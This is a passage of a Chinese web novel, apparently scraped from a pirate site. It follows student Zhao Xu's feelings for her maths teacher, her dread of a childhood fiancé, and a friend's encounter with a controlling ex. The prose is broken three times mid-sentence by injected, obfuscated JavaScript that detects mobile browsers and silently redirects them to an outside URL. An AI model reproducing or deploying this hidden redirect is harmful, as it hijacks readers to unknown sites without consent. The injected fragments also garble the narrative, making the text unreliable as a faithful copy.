当听清她说了什么,赵栩简直觉得有辱斯文,下意识后退一步,捂住耳朵。 “你你你……简直恶趣味。” 韩明月一摊手,理所当然似的,“那咋了,都成年了这种问题还不好回答?” “你……” 赵栩气到说不出话,心想这么不敬师长的事儿她可干不出来。 毕竟,高中毕业之前她还是想给老师留个好印象的。 “再不去秦老师就要回去了。”朱临清旁观者清,把朋友往外推,饶有兴味的看着。 在这一刻,赵栩觉得自己那点小心思似乎在对方的注视中,一览无余。 为了能有机会和他相处,心虚地驱使下,她半推半就地出去了。 赵栩关上门后,朱临清和韩明月扒开一条门缝向外看。 “我给栩栩网罗了不少帅哥,早知道我就让她给他们发消息了。”韩明月摇摇头,忽然良心发现,“我也觉得让她问老师这个不太好。” 朱临清无奈一笑,打断道:“你快别乱给栩栩介绍男生了,真没看出来?” 韩明月超绝钝感力,愣愣摇头。 这边赵栩才出门,就碰到了往回走的秦暮野,眼见他朝她走来,那张英俊的脸慢慢放大。 正好贴在腹部的暖宝宝发光发热,烤得她晕乎乎的。 从窗户看去,女寝室楼对面就是男寝,快到熄灯的时间了,对面的男寝仍是热热闹闹,各个楼层传出的吵闹声此起彼伏,像个动物园。 与之相比,这边女寝走廊上安安静静,只是偶有一两人走动。 两人就这样越过一片空荡的大理石,遥遥相望。 “怎么出来了,有什么事情吗?”秦暮野轻声问道,见她穿得单薄,本想出言提醒,却换了个说法:“走廊上还开着窗,会有虫子飞进来。” 赵栩一想到韩明月方才的虎狼之词,就尬得不行,哪里能据实相告? “老师……大家让我来向您表示感谢。”她随便编了个借口。 秦暮野点点头,却觉得对方还是有话要说的表情,静静在原地,很有耐心等待着她说完。 为了不冷场,赵栩鼓起勇气,换了个借口:“我有题想问您,您今晚没看自习,没来得及问。” 暖宝宝遇到温度高的物件,升温也会加速。 她心跳的快,体温高,暖宝宝得到正向反馈,如同铁板炙烤,捂得她微微冒汗,胸膛的跃动更加清晰。 赵栩不喜欢变得扭扭捏捏的自己,可是一对上那双好看的桃花眼,心头的花就会绽开一点,再绽开一点。 夏天哪来的小蜜蜂,偷偷吐露的花蜜还是要她自己咽下。 “今天卷子上的倒数第三题,怎么证明出来的是等比数列,答案没看懂。”赵栩问。 秦暮野回想片刻,整个题具体到每一个数字,都全部想起。 他启了启唇,才要出声,却看到了那双眼睛中,如同蓝河铺开,落上几抹碎银光斑。 他就算再不通情感之事,也不是傻子。 结合种种端倪,说看不出来才是假的。 “快到熄灯时间了,早点回去睡吧,这道题明天上自习我会详细讲。” 秦暮野垂下眼睑,让眸子不去触碰那轮皓月,眼底再度归于淡漠。 走廊灯未熄,落入一片夜色,宛如墨潭深处的霜雪之地。 往前一步,便会堕入虚假的清辉。 所以他选择后撤一步,将真实的自我藏在角落,永不示人。 秦暮野说完这句话,没有多作停留,转身离去。 “可是我今天弄不明白,就会睡不着。” 潜意识中的赵栩,想要挽留他。 但不知道要如何挽留。 从小到大,就算是面对初中讨人厌的班主任,她都不曾和老师这么讲过话。 说完这句话,连她自己都惊讶不已,对方应如是。 现在的她还没意识到,过往的、当下的、以后的她,会有一些近乎极端的行为与言语。 究其本质,是在从未脱离的阴霾里,想要抓住那束光。 而且她很会“看碟下菜”,她知道秦暮野一定不会不理她。 秦暮野眼中闪过疑惑,还是妥协了,稍显无奈。 “很晚了,我待在女生宿舍这边也不合适,等我整理好具体的思路发给你。” 看到赵栩展露笑颜,他顿了顿,补充道:“我发的会比较晚,你等明天早晨头脑清醒点再看。” 言外之意,别等他的消息。 “嗯,老师晚安。” 赵栩不禁背过手去,两只手交叠在身后,手指如同在黑白琴键上舞动,任由音符一点点蔓延。 回到宿舍后已经熄灯了,她将最后一丝雀跃隐藏在黑暗里,丝毫没有注意到两道审视的视线,而后三步并作两步,扑到了床上。 就像大多数少女漫里演得那样,赵栩把脸埋在枕头里,残存的沐浴露香沾染在了她的发丝上,清冽的夹杂了丝丝柔和,绕成连天的花海。 就像那待放的梨霜,藏于心里,想他的时候,自然就盛开了。 她也不知道自己在枕头里捂了多久,只是起来的时候,上铺似乎传来了均匀的呼吸声。 赵栩悄悄拿起手机,解锁的那一刻,屏保的光点亮了那张绯红色的脸。 虽说秦暮野让她明天起来再看消息,她却迫不及待想要收到消息了,于是她点进两人的微信聊天页面。 两人唯一的一句互动,就是他们一起去医院那次,她发给他的取咖啡码,除此之外再无记录。 正当赵栩百无聊赖地,反复欣赏秦暮野为空的朋友圈时,忽然弹出一条添加好友的消息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680640|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 [栩栩,你是不是把我忘了,我好伤心啊,你爸和我说……] 看到这条消息后,如同被人把头按进了冰水,赵栩大脑一片空白,呼吸困难,手指不受控地发抖。 待稍微反应过来时,冰湖的水已经将她淹没,永远困在最阴冷的地狱,不容她逃跑。 赵栩甚至没有勇气点开全部消息,却认得对方的头像。 那是她上幼儿园的时候,和一个小男孩的合影。 因为像素过于模糊,有种瘆人的恐怖谷效应。照片中,男生强行抱住她,而她当时还没反应过来,就变成了这张诡异的照片。 小男孩把她搂在怀里,笑得开心,得到了什么所有物似的。 而彼时年幼的赵栩,则一脸惊恐地盯着前方,逃脱不得。 就像她这条命,就算走出故地已久,依旧由不得她。 因为小男孩的身份,就是和她在襁褓里订下娃娃亲的赵晋。 故人的打扰如同一道诅咒,随时会破坏掉她现在拥有的幸福,让她怕得无以复加,在接近三十度的天,吓出了一身冷汗。 恐慌让她动弹不得,赵栩用尽所有力气,放轻动作,悄悄走出宿舍去向洗手间。 走廊上的灯仍然亮着,可是她如置白夜。 惨白的灯光如同寒气,照得那条路那么冷,那么长。 直至一路小跑到厕所隔间,赵栩关上门后,身体止不住地发抖,眼底一片死寂,已经害怕到忘记流泪。 满心的苦楚再也关不住,恐惧逐渐蚕食着她经年构筑起的心防,一口一口,显露出她认知中的最不堪的自己。 手机从口袋里掉了出来,仿佛一块熔岩,如果再度触碰便会万劫不复。 泪水模糊了她的视线,赵栩呼吸都开始急促,她使劲按压着太阳穴,强行让自己冷静下来。 她把手颤颤巍巍地伸向手机,打开之后,发现是秦暮野发来的消息。 [图片] 这条消息,亦或是发消息的人,如同一剂抚慰人心的药剂,赵栩的呼吸声没有那么粗重了,渐次缓和下来。 图片上不仅把那道数列题做了详解,而且旁边举一反三,对比了同类型的题目。 他的字体与其人不符,俊挺的笔力中带着些许洒脱,可以当做字帖模板,但一般人又写不出这么离经叛道的字体。 循着熟悉的字体,她暂时忘记了害怕,难得有耐心,去步步解析数学题,更是头一次觉得,数学如此讨人喜欢。 脸颊上的眼泪,啪嗒啪嗒,滴在了手机屏幕上,赵栩胡乱地抹着,却不小心触碰到了语音键。 语音发出去的时候,她丝毫没有注意到,而是直接锁了手机,让自己冷静一会儿。 赵栩用手胡乱抹着脸,泪水止不住地往下流,想到两位朋友和秦暮野,她发狠似的攥紧手心,更加不想踏回过往。 她不要回去,她不要再和那些人产生任何关联…… 隔间发出开门的声音,唤醒了赵栩杂乱的思绪,使其稍稍归于清明,她意识到隔壁有人来了。 可能是她哭傻了,居然闻到了火鸡面的酱料味,于是拍了拍脸,赶紧走出隔间。 生怕嗅觉出现问题的下一秒,就要见鬼了。 赵栩走出洗手间后,故意贴着窗户走,想迎着对面寝楼映出的光,稍微寻些安全感。 她再次打开手机,不由得瞪大眼睛,神情茫然。 她终于发现,自己居然不慎按下语音键,发了一条2秒的语音出去。 看着发送时间,应该记录了自己小声啜泣的声音。 而更让人社死的是,秦暮野也回复了她一条语音。 鉴于周围的宿舍都入睡了,她迟疑了片刻后,把语音转了文字: [做不出题目不要哭,等我再把步骤精简一下。] 赵栩对着这一行文字,微张着嘴,一时间哭笑不得。 笑容终于得以缓缓归来,暂时驱散了那份阴沉。 这个人真是……真是…… 她看着手机,哑然失笑。 正当她立于窗边,平复心情时,眼前乍然变暗。 原来是对面男寝楼的灯同时灭掉,灯火通明的楼变得乌黑一片。 还没等她反应过来,对面三楼的灯却亮起,紧接着又灭了,再灭再亮…… 赵栩也在三楼,所以可以平视对面,那走廊灯宛如八音盒上的光条,随着喜好自行点亮,无声的亮暗,在为她鸣一首欢快的夜曲。 她抿起一丝笑意,怀疑是电路出现故障,或者是有人在拉电闸玩。 只得暂且按下心中的疑窦,揉了揉眼睛,抬起湿漉漉的眼睫,顺着走廊窗眺望出去。 这次对面的灯全黑了,只有一楼是亮的。 赵栩心里升起了不该有的期待,仔细凝视着对面唯一的光源,心脏跳个不停。 一楼的窗边依稀可见一个颀长的人影,他双手撑在窗台上,似乎在注视着这边。 两道视线隔着几十米相撞,折折周周,寻不到了来时的路。 赵栩起初讶然,不敢相信自己的眼睛,内心的狂风乍起,碰洒了那易碎的眸光。 待确定站在那里的人是谁,她刚憋回去的眼泪,不受控地流下,渗出指缝,漫过整个手掌。 手心之下,藏着劫后余生的痛,哽咽难言的喜。 她生来坎坷,如行舟沧海,每每想要摇桨逆流而去,却搁浅在黑夜里,逃离不得。 就算下一站是海市蜃楼,她也想奋力出逃,渡过那道虚妄的河。 泪水打湿了手链,赵栩眼里盈满泪光,凝视着他所在的方向,嘴角漾出苦涩的笑靥。 愣怔片刻,她抬起手腕,无比珍重地,轻轻吻上了手链上的橘子花。 纯白的花瓣上落有泪珠,或许她早就知道,过往的雨季,注定会淋湿当下。 而那个能为她撑伞的人,来了。 …… 很多年后,赵栩问秦暮野,为什么要通过拉电闸的方式吸引她的注意力。 难道从当时起,就在想以后吗? 答案是,秦暮野当年从没想过以后,也不敢去妄想以后,满眼只有珍惜当下。 他当然能听出,那夜的赵栩,肯定不是被数学题愁哭的。 而是因为旁的事情,大晚上一个人偷偷跑去洗手间流眼泪。 可彼时的秦暮野,不知道、或者说不可以去安慰她……只能用自己的方式去陪伴。 虽然那日的行径,为以后的种种埋下祸根。 33. 沉静如海[4] 逃避虽可…… 清晨的乌云似是拢灰纱,轻轻撩动,便染透了天空一方湛蓝的清泉,半遮半掩之间,淅淅沥沥下起了小雨。 昨晚预报有雨,所以通知今天上午户外活动取消,改为室内自习,但原本七点半集合的要求不变。 已过七点十分,宿舍里其余女生都出门了,朱临清则是站在上下铺前,疯狂敲着床柱子,企图把雷打不动的两人吵醒。 有一个钢铁般的女人都把手敲红了,两人依旧没有清醒的迹象。 韩明月平素就是个爱赖床的,不到关宿舍前五分钟绝不起床,赵栩又是接近天亮才睡着的,加上凌晨情绪起伏过大,此时疲惫得不行。 偏生韩明月还越睡越起劲儿,面对刺耳的声音像是失了聪,继续砸吧两下嘴,翻身香甜地睡去。 赵栩仅是睁眼一秒钟,而后眼皮像是磁铁,再度严丝合缝地闭上。 “你们……”朱临清气得想笑,咬牙切齿地看着两人,然后从桌上抄起保温杯,开始哐哐往梯子上砸。 宿舍里回荡着钢铁碰撞的响声,震得人耳膜疼,上下铺两人动作神同步,同时从梦中惊醒。 “还有二十分钟到教室集合,你们看着办吧!”朱临清把手撑在床杆子上,露出一丝无奈的笑。 韩明月睡眼惺忪,锤了两下被子保持清醒,“上什么自习啊?” 朱临清看向眼皮打架的赵栩,故意高声回答:“数学。” 赵栩闻言手稍稍一顿,而后从容掀开被子,如同没听见一般,从桌上拿过牙刷,挤上牙膏,一脸莫得感情开始刷牙。 其实凌晨时分,她除了忧心突然加她好友的赵晋,会成为她日后生活的定时炸弹。 同样分了不少心思,给了为她在黑夜中亮起灯的那个人。 难以入眠的时分,两人从相识到相知的一幕幕,如同电影在她的脑海里掠过。 潜意识当中,她觉得自己是特别的,不然他不会一次次纵容她撒泼耍赖。 凌晨那盏向晚的灯,更是陡生燧火,点燃了藏于角落的隐秘,烧穿了那方关隘。 让她清楚知晓,有些事情已然回不到从前,装傻更是无益。 可是…… 赵栩不喜欢去猜别人的心思,不喜欢让自己的悲喜掌控在别人手中,更不喜欢因谁而动。 冷静下来之后,心动渐止,她亦陷入了矛盾。 …… 朱临清都快把地跺穿了,才等到两位大小姐洗漱完出门,这时距离规定时间只有不到十分钟了。 晴空飘起了毛毛雨,为夏天织了一张清凉的网。 三人出宿舍时,路上已几乎全部不见人影,她们离自习的地方倒是很近,就算快迟到了,依旧不紧不慢走着。 泥土的味道中混入了碾碎的青草香,赵栩深吸一口,亦驱不散颅内压着的烦忧,眉头不自觉地紧锁。韩明月仍是没有睡醒,且莫名心神不宁,往日最爱说笑的她也充了哑巴,故而三人一路无言。 “徐哥徐哥,你不知道昨晚多吓人!” 她们听到关毅的委委屈屈的声音,同时回头,只见他像个小爬墙虎,紧贴着徐仲仪不松手。 “昨晚那灯又亮又暗的,吓死我了,我还以为闹鬼了。”他喋喋不休地说。 “看你那点胆子。昨天晚上我都陪你去上厕所了,你呢?”徐仲仪气笑了,语气中掩盖不住嫌弃的意味。 “尿我一脚……” 关毅挠挠后脑勺,有点不好意思地说:“我那不是……太害怕了吗。” 徐仲仪还想多吐槽两句,抬眼的刹那,便与前方的赵栩对视。 他的表情切换得比德芙还丝滑,下一秒即刻笑脸迎人,立马丢下朋友,三步并两步跑到前面。 “嗨,你们……”徐仲仪注意到她们刚从宿舍方向出来,顿了顿,问:“应该没吃早饭吧?” 赵栩从沉思中反应过来,愣愣点头。 徐仲仪把大背包拽到身前,从里面掏出三袋肉松面包和蛋黄酥,递了过去。 “谢谢。”赵栩怔了怔,看到诱人的肉松海苔,终究还是动了心,点头接下。 既然拿了人家的糕点,也不好甩手就走,她示意两个朋友先走,自己则和徐仲仪并排走。 关毅看戏的小眼睛骨碌一转,识趣地退到两人后面。 赵栩边走边瞧,一眼扫过,徐仲仪的大背包里都是零食,薯片蛋糕饮料应有尽有。 “怎么带这么多零食?又不是去郊游。”她不禁调侃,眼底浮现浅浅的笑意。 徐仲仪带了这么多零食,其实是想分给那帮朋友们的,眼见这里条件艰苦,他也想给大家送点福利。 可赵栩既然这么问了,而且是主动问的…… “都给你了。”徐仲仪受宠若惊,乐呵呵地把书包摘下,恨不得连人带包都送给她。 见对方一脸懵的表情,以为是她嫌包沉,又悻悻缩回手,“我替你保管,想吃随时问我要。” 生怕她拒绝,徐仲仪又把包扯开了些,如数家珍,“还有大福、抹茶红豆糕、榴莲干、新鲜芒果……” 啪 一个方形包装掉在地上,包装的特征过于鲜明,赵栩停下脚步,几乎是一眼就认出了是什么,和面如死灰的徐仲仪,大眼瞪小眼。 那是一包卫生巾。 “对对对不起。”徐仲仪连忙捡起,健康的肤色上由内而外泛起红润的光泽,像是熟透的麦子。 “这是我表妹来我家玩,不知怎么就……”他越说越心虚,声音渐渐消失。 其实他昨天看到赵栩身体不舒服,就算迟钝如他,也大概知道发生了什么,去几里外的商店买吃的东西时,顺便带了一包。 可是他遇到了秦暮野,见其买了一大箱,忽然自己这点可能拿不出手。 “栩栩!” 朱临清冲他们招手,语气着急,示意老师已经等在门口了,让他们快点走。 可能是赵栩的错觉,她只觉雨下得更密了些,笼罩在雾气里的他,那件淡蓝衬衣如同一层薄冰,衬得他眉目愈发疏冷。 秦暮野淡淡一瞥,只是提醒:“已经到点了。” 赵栩垂下眼睑,笑容凝在脸上,与他擦肩而过时,脚步亦加快了些。 风起雨落,心跳难止。 所谓的自习室其实就是类似大型会议室,里面只坐了三个班,因为地方空旷,位置绰绰有余。 赵栩寻着老地方坐下,翻出数学卷子,入目的便是那道数列题,她不免心烦意乱,将其反扣。 人烦躁的时候喝口凉水都塞牙,赵栩学了一会儿之后,忽觉身子左侧一冷,原来是左前方的风扇开着,调在最大档位,呼呼朝她吹。 赵栩本就处在生理期,凉风吹过时打了个寒战,就算贴了暖宝宝,腹部仍隐隐酸疼。 她回过身去,定位在一个远离风扇的地方,目光流转间,一抹天蓝悄悄入画。 赵栩想要举手示意,把座位换到别处,才抬起手,秦暮野即刻偏转视线,视若无睹,快步走向另一位举手的学生。 什么情况? 赵栩甚觉莫名其妙,如果有人攥一把她杂乱的心绪,大抵能挤出苦橙味的果汁。 她省略了打报告的步骤,直接拿起书本,起身走向后面的空位。 后排的徐仲仪还在为了数学题焦头烂额,一丝清甜的香味打乱了他的思路,嘴角习惯性地上扬。 他不用抬头,都能判断出来人是谁。 眼见赵栩即将擦身过去,他拖出身边的凳子,做了一个“请”的手势。 徐仲仪像是一只纯良的小狗,眼含期待。 可是赵栩仅是点点头,面色淡淡,便径直向后面两排走去。 徐仲仪眼里的光落入低谷,唇角随之微微下垂。 他眼中有片荒芜的田,无人问津久了,乍有来人踩响一地落叶,从此目光便只跟随她。 “不开心?” 徐仲仪带着学习用品,厚着脸皮坐在赵栩身边,用气声问道。 赵栩摇摇头,没有说话,接着低头学习。 她现下心乱如麻,只有把自己投入学习。 才不会在那些,在她看来不值得的事情上内耗。 见她怏怏不乐,徐仲仪亦陷入了沉思,从学龄前挖泥巴的把戏,到高中埋伏小混混的策略过了个遍。 他拿出裁纸刀,在数学卷子上扣了三个洞,正好对应眼睛嘴,然后又在卷子上涂鸦一番。 “看我。” 他的眼睛嘴巴透过卷子上的三个洞露出,而鼻子那里,被画上了一个大大的猪鼻子。 桀骜冷厉的眉目,褪去了所有不训,此时盈满笑意,几乎眯成一条缝。 他想的是,就算放低姿态也只想博她一笑。 原本赵栩只是应付一下,可真瞧着他这副滑稽的样子,愣了愣,蓦地笑了。 笑他幼稚,更感他纯粹。 “幼不幼稚。”她故作嗔怪,然后把胶带给他。 徐仲仪端详着那一小卷胶带,上面是可爱的水果印花,柔声说道:“这卷胶带好好看啊。” “喜欢就送你。” “真的吗?” 徐仲仪掩饰不住兴奋,故而声音大了些,吸引了全班同学,包括老师在内的目光。 同学们注意到,号称仅是单相思的徐仲仪,此时却和赵栩有说有笑,不免让人有戏可看。 班里传出窸窸窣窣的声响,几个男生不怀好意笑着。 赵栩窘迫至极,尴尬得脚趾抓地,恨不得把脸埋进卷子里,心想就不该和这个人坐在一起。 “开始讲卷子。” 秦暮野依然是那副平淡的神情,没有因为学生的起哄而发火,也没有对后排说话的行为表示不满。 可是他一开口说话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14706599|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微冷的音调却自带威严,如同向空中投掷了一枚制冷剂,现场即刻安静下来 秦暮野面不改色,转过身去誊抄大题的详解,没有过多去关注谁。 浮光掠过一片羽,却被压入湖底,因为它不敢指向岛屿,怕顺风而去。 赵栩盯着白板上的数列题详解,一步一步,都是那么眼熟。 待反应过来后,嘴里弥漫着些许自嘲的苦。 原来昨天晚上,他直接把教案拍给了她。 她听着和其他人相同的东西,似乎也没有什么不一样。 亏她还以为,秦暮野真的单独为了她,把步骤做了详解。 许是空气潮湿,连带着马克笔的笔头变得松软,秦暮野几番用力下,写出的字都是时深时浅。 笔锋若即若离,再也寻不到平静的落笔之处。 秦暮野索性不在白板上书写,转过身来,沉静的面孔下不见波澜。 他掠视一周后,发现朱临清身旁空空,忽觉不对,问道:“韩明月去哪里了?” 朱临清回答:“去洗手间了。” …… 那一边,韩明月刚从洗手间出来,也不知道早饭错吃了什么,腹部不甚舒服,平素的跳脱相全然消失,此时像只霜打的茄子。 她正揉着肚子,苦大仇深地走出了洗手间,略显厚重的馥奇调的香水味,黑豆的浓郁给人阴凉之感。 仿佛一记掌风,把她定在原处。 韩明月还记得,当时她还和柯明扬在一起的时候,她并不喜欢这款香水的味道,还时常调侃这是时常说这款香水是“渣男香”。 但是后来闻着闻着,居然习惯了。 几乎刹那间,韩明月就知道是谁在附近,心道真是倒了血霉,本着“只要我装没看见,鬼就看不见我”的态度,快步往上自习的地方走。 “韩明月。” 柯明扬从暗处缓缓踱步而出,沙哑的嗓音如同风吹枯叶,让她心生寒意。 韩明月脚步稍顿,然后像是某种应激反应,拔腿就跑,却被拽住手腕,动弹不得。 两人皮肤相接处,明明是热的,她的手腕却如同贴上冰块,一动不敢动。 “这么怕我?” 柯明扬把她轻轻一拽,强行让她贴近自己。 韩明月惊怒交加,冲他大吼:“滚开。”她狠狠一甩手,那人却越握越紧,不给她喘息的机会。 “要不要和我复合?”柯明扬盯着她的眼睛,棕色的瞳孔深处,涌动着暗色的偏执。 没有任何铺垫的话语,把韩明月气笑了,她气得无悲无喜,一字一句认真地说: “不可能。” 若非柯明扬这个人实在脾气古怪,对于韩明月这样的顶级颜控,就算欣赏这张脸,也不能忍受他超强的控制欲。 她和男生说句话,柯明扬都要和她别扭好久,然后…… 他们倒是没有什么过火的举动,却比普通的高中小情侣略微亲密了那么点。 柯明扬料到她会如此回答,玩味地看着她。 “这里,还纹着你的名字。”他强行拉过韩明月的手,把其放在自己的腹肌上。 “所以呢……”韩明月翻了个白眼,暗暗叫苦。 柯明扬再度逼近她一步,冷冷地笑着,“我警告你,离那个姓吴的远点。” 韩明月回想片刻,才想起姓吴的,指的应该是她加上的小学弟吴明恩。 同时不由得暗暗叫屈,她和小学弟根本就不熟,怎么被这个疯子惦记上的? 而且今天没有任何铺垫,今天突然被算账。 早知今日,当初她就不会主动招惹他。 柯明扬拿出手机,似笑非笑,“对了,给你看点好东西。” 手机里播放的是一段视频。 视频里紧紧相拥的,是两个高中生。 是当年的不懂事的她,和蓄谋已久的他。 …… 秦暮野特意为了等韩明月放慢节奏,可是一整道大题细致讲完,学生还是没有回来。 他正要出门去找,却被主任叫了出去。于是他只能先示意朱临清去,自己则去应付主任。 这位老师是分管文体的主任,他见到秦暮野,露出惊喜的神情,直奔主题: “小秦啊,我们和师大附中那边商量了,打算五天后举办个晚会,热闹热闹。” 秦暮野仅是点点头,稍显茫然之色,同时没太反应过来,这和他一个数学老师有什么关系。 虽然,他心里隐有不好的预感,说不清道不明。 主任停顿片刻,笑容也犹豫,“听说你会弹钢琴?” “钢琴”两个字是不能触发的回忆,秦暮野轻攥手心,眼底蒙上一层霾,唇边礼貌的笑容凝滞。 钢琴不仅可以演奏乐曲,且对于秦暮野而言,亦是生来的咒曲。 桎梏他,一生一世。 34. 沉静如海[5] 一起被锁在化…… “我们,迎着初升的太阳!” “我们,吹着田野的微风!” “我们,将在这里纵情歌唱!” “……” 赵栩念完后,鸡皮疙瘩都掉了一地,偏偏还要装得饱含热情。 三天后就是四中和师大附中联排的学农晚会,两校各出两位主持人,其中有一个诗朗诵环节,便是要朗诵这段毫无营养的诗歌。 也不知道是谁写的,小学生水平不如,念起来让人牙酸倒胃的。 排练的地方在二楼的一个空房间,休息的间隙,四人干脆席地而坐,为着彼此不太相熟,索性各干各的。 代表四中的是赵栩和一个叫周帆的男生,男生长得是挺帅,也有着浑然天成的播音腔。 只是赵栩听说过他换女朋友几乎以月为单位,吃着碗里看着锅里的,故而对这个人没什么好印象,不是很想靠着他。 “我觉得这个朗诵词写得太尴尬了,你觉得呢?”周帆朝赵栩的方向挪了挪,眯起眼睛。 “嗯嗯。”赵栩随口应答,不动声色往外挪了挪,抄起手边的书,开始看书。 周帆没意识到被人嫌弃了,又靠了过去,笑眯眯地说:“我还没有你的联系方式呢。”说着就要拿出手机,打开二维码。 要不是还要和他同台朗诵,赵栩早就翻白眼了,她尴尬笑笑,糊弄道:“我不太看手机。” 为了躲这个人远点,她这次向外挪的幅度比较大,却不小心撞到了身侧的人。 邵渝原本是背对他们,忽然被碰到,转过头来。 “抱歉抱歉。”赵栩窘迫不已,连忙道歉,同时对身旁的周帆恨得牙痒痒。 邵渝起初作不解状,视线在两人之间扫了一圈,便看出了赵栩的为难,替她打圆场:“来这边坐吧,空间还大。” 赵栩急于摆脱那个麻烦,闻言面露感激,换到了邵渝的右手边坐下,发现他面前翻开的那页历史笔记,已经在休息的空档又填充了大半页纸,不禁心生佩服。 她来这里就期望学进去多少,但是总有人能心无旁骛人,学的入迷。 邵渝注意到了她的目光落在笔记上,稍稍抬眸,未曾多在意,便又把精力放在知识点的整理上。 “年份写错了……是1918年,不是1916年。”赵栩稍作犹豫,本着乐于助人的态度,还是打算指出。 邵渝停下做笔记,返回去确认,顿了顿。 “谢谢你。”他礼貌笑笑,随即把那个很像6的8重点描红,然后忽然想起什么,盖上笔盖。 “谢谢你的白鞋清洗剂,不过我已经用完了,真的抱歉。” 提起这个白鞋清洗剂,他的笑容都变得勉强起来,眉目处显出了与英俊不相符的呆滞。 邵渝没好意思说,也怪他没确认好那瓶清洗剂是否拧紧,当时拿回宿舍的时候,只是不小心微斜瓶口,就浇了满身,被舍友们好一通笑话。 不仅是白鞋清洗剂了,喜提清洗全身。 “是我转钱给你,还是再赔一瓶?”邵渝征求她的意见,不好意思笑了笑。 “不用了。”赵栩忙摆摆手。 同时还在疑惑,他那双鞋是刷了几遍,怎么满满一瓶就用完了。 “那我还是转钱给你吧。”邵渝十分认真。 赵栩顿觉好笑,突然有一种找到同类的感觉。 他们都属于不喜欢欠别人人情,一点点小事也要划分得泾渭分明。 赵栩也不想让他继续自责下去,于是拿出微信付款码,朝向他,“五块就行。” 邵渝事先在购物网站上看过,故而转过去了20元。 “抱歉啊这里网不是很好。” 他的手机就这样对着赵栩的手机,而赵栩就这样举着手机,全然没有注意到,进来的人携来一阵冷冽的风,与他们擦肩而过。 从秦暮野的视角看去,两人似乎在交换联系方式。 他随机收回目光,径直向钢琴走去,打开了曲谱册,修长的手指放在琴键上,指尖便流淌出了空灵的乐曲。 恍如小船推至平缓的浪,掀起的潮水打散在舟楫,破碎成点点星辉。 赵栩扭头看向正在弹琴的秦暮野,午后的暖阳倾注在他的侧脸,浸透了那件白衬衣,整个人绘上一层光的轮廓,优雅出尘。 就像万千少女心动的开端,他指尖辗转的音符,牵动着赵栩的心跳。 赵栩怔怔地望着他,竟出了神,钢琴曲仿佛是翻滚的浪花,相隔万里只涌向她。 音乐将他们围作二人的屿,她迷失在深海,不忍靠岸。 “转过去了。” 邵渝见没有反应,顺着她出神的方向看过去,却被光晃到了眼睛。 窗外有光,奈何在女孩眼中,他身边的流光更甚。 邵渝识趣地不作声,默默转过身去继续学习。他就算再不通感情那档子事,也不难看出赵栩的心思。 他不懂这种感情,至少他现在不懂。 手起乐落,秦暮野仅是试弹了一段,便翻到诗朗诵要求的背景曲目,开始琢磨。 而赵栩则是悄悄移开视线,看了眼手机,发现只剩5%的电了,更加心烦。 她做了个深呼吸,阻挡心底错杂的涓涓细流,再次翻开书本做题,用知识转移注意力。 “赵栩。” 她好不容易静下心来,可是旁边的周帆看她落单了,又来烦她。 “你不是说不玩微信吗,怎么给他联系方式不给我,不会是……”周帆眼珠子一转,不怀好意笑着。 赵栩打心底里讨厌这种满脑子只有性缘关系的男生,把书一撂,正要反驳…… 琴音重重一落,一股钝力同时敲击在琴键上,听得人心脏随之一颤,有着隐隐的威慑力。 几人同时看向在弹琴的秦暮野,他仅是略微抬眸,默不作声,而空气中弥漫着异样的气氛,让在场的学生亦保持着沉默。 赵栩依旧抱膝,转向钢琴的方向,下意识打圆场:“老师这首曲子好好听,叫什么啊?” “巴赫十二平均律的第一首。”秦暮野放在琴键上的手一顿,眼神未曾偏移半分,便开始准备找到下一张曲谱。 即朗诵要用的曲目——《大合唱》。 那人沉稳的嗓音中带了些毫不在意的冷,在赵栩看来,仿佛她的打断,是一件不合时宜的事。 见他如此冷淡,赵栩负气低下头,心里憋闷,连翻书的声音都大了些。 前几天可不是这样的……真是有病。 她将按笔的位置使劲按响,在书本的右下角,悄悄画了只弹琴的猪头。 “好了好了同学们。”分管排练节目的李主任拍拍手,示意他们站起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14720898|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“咱们先合一遍试试。” 几人站好队形后,赵栩是朗诵的第一句,先等后方的钢琴起调。 秦暮野不知被什么打乱了既定的节奏,一时走神,忘了给曲谱翻页,手上的动作也变成了潜意识中的反应。 212532…… 悠扬典雅的前奏再度淌游而归,与朗诵所需的激昂澎湃的背景音乐,显然不是一首。 赵栩愣了一会儿,反应过来,秦暮野应当是弹错了,而且弹得就是那首什么平均律。 可偏偏秦暮野丝毫没有意识到自己弹错了,仍沉迷于琴音之中,任由泉水泠泠作响,从周身的那方清寒,悄然蔓延。 赵栩望着他紧抿唇线,似是真的投入了进去。 其人认真的神情,不像装傻,像是真傻。 笑话归笑话,赵栩哑然失笑的刹那,眼底却还是忍不住汇入细流,纵影而去。 